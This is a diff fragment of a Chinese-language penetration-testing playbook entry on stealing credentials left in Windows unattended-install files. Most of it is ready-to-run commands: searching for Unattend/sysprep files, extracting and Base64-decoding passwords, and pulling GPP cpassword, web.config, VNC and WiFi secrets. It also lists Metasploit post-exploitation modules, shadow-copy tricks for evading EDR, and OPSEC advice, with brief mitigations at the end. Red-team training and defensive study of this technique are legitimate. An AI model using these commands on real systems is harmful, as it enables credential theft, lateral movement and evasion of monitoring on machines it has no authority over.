+ **前置条件:**
1116
+ - 本地文件系统读取权限
1117
+ - 目标使用过无人值守部署
1118
+
1119
+ **攻击链:**
1120
+
1121
+ **搜索无人值守安装文件**
1122
+ > 在默认路径搜索Unattend/Sysprep配置文件,这些文件在Windows自动部署后可能残留在系统中
1123
+ _platform: windows_
1124
+ ```
1125
+ dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\Panther\unattended.xml C:\Windows\Panther\Autounattend.xml C:\Windows\System32\Sysprep\sysprep.xml C:\Windows\System32\Sysprep\unattend.xml 2>nul
1126
+ ```
1127
+ **语法解析:**
1128
+ - `dir /s /b` — 递归搜索并仅输出文件完整路径 _command_
1129
+ - `C:\\Windows\\Panther\\` — Windows安装日志和配置默认存放目录 _value_
1130
+ - `C:\\Windows\\System32\\Sysprep\\` — Sysprep系统准备工具配置目录 _value_
1131
+ - `2>nul` — 抑制文件未找到的错误输出 _operator_
1132
+
1133
+ **全盘搜索Unattend文件**
1134
+ > 当默认路径找不到时,全盘递归搜索所有可能的无人值守文件
1135
+ _platform: windows_
1136
+ ```
1137
+ # CMD方式
1138
+ dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul
1139
+
1140
+ # PowerShell方式
1141
+ Get-ChildItem -Path C:\ -Recurse -Include "*unattend*","*sysprep*","*autounattend*" -ErrorAction SilentlyContinue | Select-Object FullName
1142
+ ```
1143
+ **语法解析:**
1144
+ - `Get-ChildItem -Recurse` — PowerShell递归搜索 _command_
1145
+ - `-Include` — 按通配符模式匹配文件名 _parameter_
1146
+ - `-ErrorAction SilentlyContinue` — 忽略权限不足等错误 _parameter_
1147
+
1148
+ **提取明文密码**
1149
+ > 从Unattend.xml中提取密码字段,密码可能以明文或Base64编码形式存储在<Password>/<AdminPassword>/<AutoLogon>节点中
1150
+ _platform: windows_
1151
+ ```
1152
+ # 查看文件内容
1153
+ type C:\Windows\Panther\Unattend.xml
1154
+
1155
+ # 关键字段搜索
1156
+ findstr /i /c:"Password" /c:"AutoLogon" /c:"AdminPassword" C:\Windows\Panther\Unattend.xml
1157
+
1158
+ # PowerShell提取
1159
+ [xml]$xml = Get-Content C:\Windows\Panther\Unattend.xml
1160
+ $xml.unattend.settings.component | Where-Object { $_.AutoLogon } | ForEach-Object { $_.AutoLogon.Password.Value }
1161
+ ```
1162
+ **语法解析:**
1163
+ - `findstr /i /c:` — 不区分大小写搜索指定字符串 _command_
1164
+ - `Password` — 密码字段关键字 _value_
1165
+ - `AdminPassword` — 管理员密码字段 _value_
1166
+ - `AutoLogon` — 自动登录配置(含明文密码) _value_
1167
+ - `[xml]$xml` — 将XML文件解析为PowerShell XML对象 _command_
1168
+
1169
+ **解码Base64密码**
1170
+ > Unattend.xml中的密码如果以Base64编码存储,需要解码。Windows使用UTF-16LE编码,因此必须用Unicode解码而非ASCII
1171
+ _platform: windows_
1172
+ ```
1173
+ # PowerShell解码Base64
1174
+ $encoded = "QQBkAG0AaQBuAEAAMQAyADMA" # 从XML提取的编码值
1175
+ [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
1176
+
1177
+ # 或者使用certutil
1178
+ echo QQBkAG0AaQBuAEAAMQAyADMA > C:\temp\encoded.txt
1179
+ certutil -decode C:\temp\encoded.txt C:\temp\decoded.txt
1180
+ type C:\temp\decoded.txt
1181
+ ```
1182
+ **语法解析:**
1183
+ - `[System.Text.Encoding]::Unicode` — UTF-16LE解码(Windows默认) _command_
1184
+ - `FromBase64String` — Base64解码方法 _command_
1185
+ - `certutil -decode` — 使用系统自带工具解码Base64 _command_
1186
+
1187
+ **检查其他敏感安装文件**
1188
+ > 除Unattend.xml外,其他位置也可能存储明文凭证
1189
+ _platform: windows_
1190
+ ```
1191
+ # 检查GPP(Group Policy Preferences)密码
1192
+ findstr /S /I cpassword \\domain.com\sysvol\domain.com\policies\*.xml 2>nul
1193
+
1194
+ # 检查IIS配置文件
1195
+ type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password"
1196
+
1197
+ # 检查VNC密码文件
1198
+ reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
1199
+ reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password 2>nul
1200
+
1201
+ # 检查WiFi密码
1202
+ netsh wlan show profiles
1203
+ netsh wlan show profile name="目标WiFi" key=clear
1204
+ ```
1205
+ **语法解析:**
1206
+ - `cpassword` — GPP使用的AES加密密码字段(密钥已公开) _value_
1207
+ - `sysvol` — 域控共享目录,所有域用户可读 _value_
1208
+ - `reg query` — 查询注册表中的密码值 _command_
1209
+
1210
+ **使用Metasploit自动化**
1211
+ > 使用Metasploit后渗透模块自动搜索和提取无人值守安装文件中的凭证
1212
+ _platform: windows_
1213
+ ```
1214
+ # Metasploit模块
1215
+ use post/windows/gather/enum_unattend
1216
+ set SESSION 1
1217
+ run
1218
+
1219
+ # 也可以使用
1220
+ use post/multi/gather/firefox_creds
1221
+ use post/windows/gather/credentials/gpp
1222
+ use post/windows/gather/cachedump
1223
+ ```
1224
+ **语法解析:**
1225
+ - `post/windows/gather/enum_unattend` — 自动搜索并解析Unattend文件 _value_
1226
+ - `post/windows/gather/credentials/gpp` — 提取GPP存储的凭证 _value_
1227
+
1228
+ **EDR 绕过变体:**
1229
+
1230
+ **绕过文件访问监控**
1231
+ > 通过卷影副本或流式读取绕过文件访问监控
1232
+ _platform: windows_
1233
+ ```
1234
+ # 使用Volume Shadow Copy读取被锁定的文件
1235
+ vssadmin create shadow /for=C:
1236
+ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Panther\Unattend.xml C:\temp\u.xml
1237
+
1238
+ # 使用PowerShell流式读取避免文件锁
1239
+ [IO.File]::ReadAllText("C:\Windows\Panther\Unattend.xml")
1240
+ ```
1241
+
1242
+
1243
+ **分析:** 无人值守安装文件是Windows大规模部署的产物。这些XML文件中的<UserAccounts>/<AutoLogon>节点可能包含本地管理员或域管理员的明文/编码凭证。该漏洞在企业环境中极为常见,因为IT部门经常忽略部署后清理这些文件。
1244
+
1245
+ **OPSEC 提示:**
1246
+ - 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。
1247
+
1248
+ **概述:** 无人值守安装文件(Unattend.xml)用于Windows自动化部署,可能包含管理员凭证。
1249
+
1250
+ **漏洞原理:** Windows部署工具(如MDT、SCCM)生成的Unattend.xml文件中,密码以明文或弱编码(Base64)存储,且部署完成后文件常残留在系统中。
1251
+
1252
+ **利用方法:** 利用流程:1) 搜索默认路径下的Unattend/Sysprep文件 2) 提取Password/AutoLogon字段 3) 解码Base64密码 4) 使用获取的凭证横向移动
1253
+
1254
+ **防御措施:** 防御措施:1) 部署完成后立即删除Unattend文件 2) 不在Unattend中存储域管理员密码 3) 使用LAPS管理本地管理员密码 4) 定期审计敏感文件
1255
+
1256
+ **参考:**
1257
+ - <https://attack.mitre.org/techniques/T1552/001/>
1258
+
1259
+ ---